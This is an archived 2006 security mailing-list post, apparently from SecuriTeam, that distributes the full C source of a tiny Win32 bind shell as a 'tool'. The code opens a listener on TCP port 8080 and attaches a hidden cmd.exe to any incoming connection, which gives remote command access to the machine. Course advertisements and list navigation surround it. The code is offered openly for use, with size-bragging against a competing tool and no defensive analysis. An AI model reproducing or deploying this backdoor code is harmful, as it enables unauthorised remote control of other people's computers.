Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [TOOL] Win32 Bind Shell |
|---|---|
| Date: | 13 Feb 2006 19:03:00 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Win32 Bind Shell ------------------------------------------------------------------------ SUMMARY DETAILS Small bindshell (908 bytes for binary) compacted to 804 bytes with a little Headers modification. Source: /*############################################################################## Haxorcitos Mini Shell ======================================================= Details: Compiled Size: 908 bytes Tweaked Size : 804 bytes (with a little Headers modification by Tarako) This size can be also reduced disabling MsDos exe compatibility (maybe further release) Programado por/Coded by : Miguel Tarasc Acu a aka "Tarako" - Tarako@gmail.com Programado por/Coded by : Andres Tarasc Acu a aka "aT4r" - atarasco@gmail.com Pagina Web/ Web page : http://www.Haxorcitos.com Tested under Windows 2000 SP4 Spanish version Tested under Windows XP SP2 Spanish version Sorry Checksum.org. Our bind shell is smaller than yours (tx.exe) }:) and we also provide source code ################################################################################*/ #include <winsock2.h> #pragma comment(linker,"/ENTRY:WinMain") int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int ) { STARTUPINFO si; struct sockaddr_in sa; PROCESS_INFORMATION pi; int s; WSADATA HWSAdata; WSAStartup(0x101, &HWSAdata); s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0); sa.sin_family = AF_INET; sa.sin_port = 0x901F; // (USHORT)htons(8080); sa.sin_addr.s_addr= 0x00; // htonl(INADDR_ANY); bind(s, (struct sockaddr *) &sa, 16); listen(s, 1); s= accept(s,(struct sockaddr *)&sa,NULL); si.cb = sizeof(si); // 0x44; si.wShowWindow = SW_HIDE; // 0x00 si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101 si.hStdInput = si.hStdOutput = si.hStdError = (void *) s; si.lpDesktop = si.lpTitle = (char *) 0x0000; si.lpReserved2 = NULL; CreateProcess( NULL ,"cmd",NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,&pi); } ADDITIONAL INFORMATION The information has been provided by <mailto:tarako@gmail.com> Miguel Tarasco. The original article can be found at: <www.Haxorcitos.com> www.Haxorcitos.com ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] D-Link Fragmented UDP Denial of Service Vulnerability, SecuriTeam |
|---|---|
| Next by Date: | [NT] IBM Lotus Domino Server LDAP DoS, SecuriTeam |
| Previous by Thread: | [NEWS] D-Link Fragmented UDP Denial of Service Vulnerability, SecuriTeam |
| Next by Thread: | [NT] IBM Lotus Domino Server LDAP DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |